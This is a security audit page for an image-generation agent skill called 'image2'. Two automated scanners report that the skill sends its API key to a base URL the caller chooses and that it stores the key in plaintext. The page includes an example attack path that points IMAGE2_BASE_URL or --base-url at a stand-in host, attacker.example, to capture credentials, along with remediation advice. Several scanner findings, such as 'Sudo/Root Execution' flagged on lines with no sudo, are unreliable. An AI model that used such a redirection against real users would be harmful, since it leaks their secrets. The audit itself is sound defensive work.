Security audit

image2

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its image-generation purpose, but its task script can send the API key and prompts to a caller-chosen API host, which needs review before installation.

Install only if you trust the kexiangai.com provider and can control how the helper scripts are invoked. Prefer setting X_API_KEY only for the current session, avoid --use-local-key unless you need persistence, and do not use IMAGE2_BASE_URL or --base-url unless the destination is a trusted HTTPS endpoint you intentionally chose.

A.I.G

Vulnerability Patterns

Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally

Findings (1)

T09 · Insecure Skill Coding Practices

Error

Location: scripts/create_task.sh:82
Finding: Unrestricted API Base URL Can Expose Credentials to an Attacker-Controlled Server
Content: View full analysis
Vulnerability Details

File Location: scripts/create_task.sh:4, 82-84, 191-194, 225-227
Vulnerability Type: Unrestricted credential destination and sensitive-data disclosure
Risk Level: High

Vulnerable Code

bash
BASE_URL="${IMAGE2_BASE_URL:-https://kexiangai.com}"

bash
--base-url) BASE_URL="${2:-}" shift 2 ;;

bash
CREATE_RESPONSE="$(curl --location "${BASE_URL}${CREATE_ENDPOINT}" \ --header 'Content-Type: application/json' \ --header "x-api-key: ${X_API_KEY}" \ --data "$PAYLOAD")"

bash
QUERY_RESPONSE="$(curl --location "$QUERY_URL" \ --header 'Content-Type: application/json' \ --header "x-api-key: ${X_API_KEY}")"

Technical Analysis

The script allows the API base URL to be overridden through either the IMAGE2_BASE_URL environment variable or the --base-url command-line option. It performs no scheme or hostname validation before attaching the X_API_KEY authentication header.

Consequently, the script can send the API key to any caller-selected server, including an attacker-controlled host or an unencrypted HTTP endpoint. The creation request also exposes the image-generation prompt and any reference-image URLs.

This flexibility exceeds the minimum privileges required by the declared functionality. The Skill metadata identifies https://kexiangai.com as its intended API provider, so sending credentials to arbitrary destinations is not necessary for normal operation.

Both requests use curl --location, permitting redirects. Redirect handling should not be treated as a substitute for destination validation; authentication-bearing requests should avoid redirects or validate all allowed destinations explicitly.

Attack Path

An attacker influences the execution environment, invocation template, automation configuration, or copied command.

The attacker sets IMAGE2_BASE_URL=https://attacker.example or adds --base-url https://attacker.example.

The user executes `create_t ...[truncated 944 chars]
Remediation: View remediation
Remediation Suggestions

Remove --base-url and IMAGE2_BASE_URL support if alternate providers are not required, and use the fixed declared endpoint:

bash
readonly BASE_URL="https://kexiangai.com"

If configurability is operationally necessary, parse and validate the URL before using it:

Require the https scheme.

Allowlist exact trusted hostnames.

Reject embedded credentials, fragments, unexpected ports, and ambiguous hostname forms.

Do not use substring or suffix-only hostname checks.

Avoid curl --location for requests containing authentication headers. If redirects are essential, restrict them to explicitly trusted HTTPS destinations and ensure credentials are never forwarded to a different origin.

Fail closed before reading or transmitting the key when destination validation fails.

Consider separating development endpoint support into an explicit test mode that uses a dedicated, low-privilege test credential rather than a production API key.

Add automated tests confirming rejection of HTTP URLs, untrusted hosts, user-info URLs, unexpected ports, and redirect attempts.

SkillSpector

Vulnerability Patterns

Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Rogue AgentSelf-Modification, Session Persistence
MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection

Findings (16)

Tp4

High

Category: MCP Tool Poisoning
Confidence: 97% confidence
Finding: The declared description says this skill should create image-generation tasks through a specific API endpoint and be used for text-to-image or image-to-image requests. However, the supplied code does not implement any task creation, request construction, parameter handling, or API communication. Its sole function is credential setup/persistence for an API key. While API key management may be a supporting utility for the broader integration, this specific code chunk’s actual behavior is materially different from the declared primary purpose, so it should be flagged as a mismatch.
Content: No source excerpt is available for this finding.

Credential Access

High

Category: Privilege Escalation
Confidence: 90% confidence
Finding: The skill explicitly supports retrieving API credentials from a local .env file, which creates a credential-access pathway beyond session-scoped input. In an agent environment, local secret discovery materially increases the risk of unintended secret use, cross-task leakage, or abuse if another prompt coerces the agent into reading or exposing that file.
Content: Scanner excerpt · SKILL.md (reported line 14)May include surrounding context.
md
secrets: primary: "X_API_KEY" storage: optional: ["~/.config/image2/.env (only when user explicitly enables --use-local-key)"] --- ## 安全声明（ClawHub 扫描友好）

Credential Access

High

Category: Privilege Escalation
Confidence: 93% confidence
Finding: The documented setup writes the API key into ~/.config/image2/.env for persistent reuse. Persistent plaintext secret storage increases compromise risk from other local processes, future skills, accidental disclosure, or agent behaviors that inspect home-directory config files.
Content: Scanner excerpt · SKILL.md (reported line 104)May include surrounding context.
bash
mkdir -p ~/.config/image2 cat > ~/.config/image2/.env << 'EOF' X_API_KEY=你的x-api-key EOF chmod 600 ~/.config/image2/.env

Credential Access

High

Category: Privilege Escalation
Confidence: 88% confidence
Finding: This line is part of the same persistent secret-storage flow and confirms the existence of a specific local file containing credentials. Even with mode 600, a plaintext credential file remains sensitive and can be harvested by any process or workflow with access to the user's account or by an over-privileged agent.
Content: Scanner excerpt · SKILL.md (reported line 107)May include surrounding context.
cat > ~/.config/image2/.env << 'EOF' X_API_KEY=你的x-api-key EOF chmod 600 ~/.config/image2/.env

text
## 核心接口

Ae1

High

Category: analysis-evasion
Confidence: 100% confidence
Finding: Referenced artifact was not completely inspected
Content: Scanner excerpt · SKILL.md (reported line 259)May include surrounding context.
md
- `SKILL.md`

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/create_task.sh (reported line 32)May include surrounding context.
sh
--max-attempts Max query attempts (default: 90) --model-name Default GPT-Image-2 --base-url API base URL, default https://kexiangai.com --use-local-key Read key from ~/.config/image2/.env when X_API_KEY is empty -h, --help Show help Examples:

Credential Access

High

Category: Privilege Escalation
Confidence: 80% confidence
Finding: The script reads X_API_KEY from ~/.config/image2/.env, which is a form of local credential access. In this skill context, that behavior is functional rather than overtly malicious, but it increases risk because the script can automatically ingest sensitive credentials from disk and then transmit them to whatever base URL is configured.
Content: Scanner excerpt · scripts/create_task.sh (reported line 56)May include surrounding context.
sh
} read_local_key() { local env_file="$HOME/.config/image2/.env" if [[ -f "$env_file" ]]; then grep '^X_API_KEY=' "$env_file" | tail -n 1 | cut -d '=' -f2- | tr -d '"' || true fi

Credential Access

High

Category: Privilege Escalation
Confidence: 60% confidence
Finding: Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
Content: Scanner excerpt · scripts/set_key.sh (reported line 5)May include surrounding context.
sh
set -euo pipefail CONFIG_DIR="$HOME/.config/image2" ENV_FILE="$CONFIG_DIR/.env" usage() { cat <<'EOF'

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 84% confidence
Finding: The skill declares shell-capable behavior and includes executable shell workflows, but does not define any explicit tool scope such as allowed-tools or permissions. That increases the attack surface because an agent may invoke shell actions or local file access without a narrowly bounded policy, especially in a skill that handles secrets and network calls.
Content: No source excerpt is available for this finding.

Session Persistence

Medium

Category: Rogue Agent
Confidence: 91% confidence
Finding: The skill instructs users to persist authentication material across sessions in a home-directory config file. Session persistence makes the skill more dangerous because it turns a one-time API key into a reusable local secret that may be consumed automatically in later runs, increasing the blast radius of prompt injection or tool misuse.
Content: Scanner excerpt · SKILL.md (reported line 103)May include surrounding context.
首次配置（只需一次）

bash
mkdir -p ~/.config/image2 cat > ~/.config/image2/.env << 'EOF' X_API_KEY=你的x-api-key EOF

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · SKILL.md (reported line 107)May include surrounding context.
cat > ~/.config/image2/.env << 'EOF' X_API_KEY=你的x-api-key EOF chmod 600 ~/.config/image2/.env

text
## 核心接口

External Transmission

Medium

Category: Data Exfiltration
Confidence: 60% confidence
Finding: Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
Content: Scanner excerpt · SKILL.md (reported line 115)May include surrounding context.
详细字段说明见 references/api-guide.md。

bash
curl --location 'https://kexiangai.com/api/v1/user_task/asyncCreateWithCost' \ --header 'Content-Type: application/json' \ --header 'x-api-key: <YOUR_X_API_KEY>' \ --data '{

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 92% confidence
Finding: The guide documents an API that charges per task (asyncCreateWithCost) but does not clearly instruct the skill to warn the user or obtain confirmation before initiating a billable action. In an agent setting, this can lead to unintended spending or abuse through repeated task creation, especially because the document also recommends polling and deduplication but not explicit user consent for cost-incurring operations.
Content: No source excerpt is available for this finding.

External Transmission

Medium

Category: Data Exfiltration
Confidence: 89% confidence
Finding: The script sends user prompts, optional reference image URLs, and the API key to a remote endpoint using curl. This is expected for the skill’s function, but it is still a real security concern because the destination can be changed via --base-url or IMAGE2_BASE_URL, which could redirect sensitive data and credentials to an attacker-controlled server.
Content: Scanner excerpt · scripts/create_task.sh (reported line 200)May include surrounding context.
sh
PY )" CREATE_RESPONSE="$(curl --location "${BASE_URL}${CREATE_ENDPOINT}" \ --header 'Content-Type: application/json' \ --header "x-api-key: ${X_API_KEY}" \ --data "$PAYLOAD")"

Sudo/Root Execution

Medium

Category: Privilege Escalation
Confidence: 80% confidence
Finding: Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
Content: Scanner excerpt · scripts/set_key.sh (reported line 47)May include surrounding context.
sh
cat >"$ENV_FILE" <<EOF X_API_KEY=$KEY EOF chmod 600 "$ENV_FILE" MASKED="${KEY:0:4}****${KEY: -4}" echo "Saved X_API_KEY to $ENV_FILE"

Natural-Language Policy Violations

Low

Category: Not specified by scanner
Confidence: 85% confidence
Finding: The guide uses a Chinese-only example prompt string in natural language, which can imply a default language preference without user opt-in. The policy requires avoiding forced language or locale constraints unless the skill offers a choice or clearly documents a justified region-specific limitation.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.

Overview

A.I.G

T09 · Insecure Skill Coding Practices

Vulnerability Details

Vulnerable Code

Technical Analysis

Attack Path

Remediation Suggestions

SkillSpector

Tp4

Credential Access

Credential Access

Credential Access

Ae1

Credential Access

Credential Access

Credential Access

Undeclared Tool Scope

Session Persistence

首次配置（只需一次）

Sudo/Root Execution

External Transmission

Missing User Warnings

External Transmission

Sudo/Root Execution

Natural-Language Policy Violations

Static analysis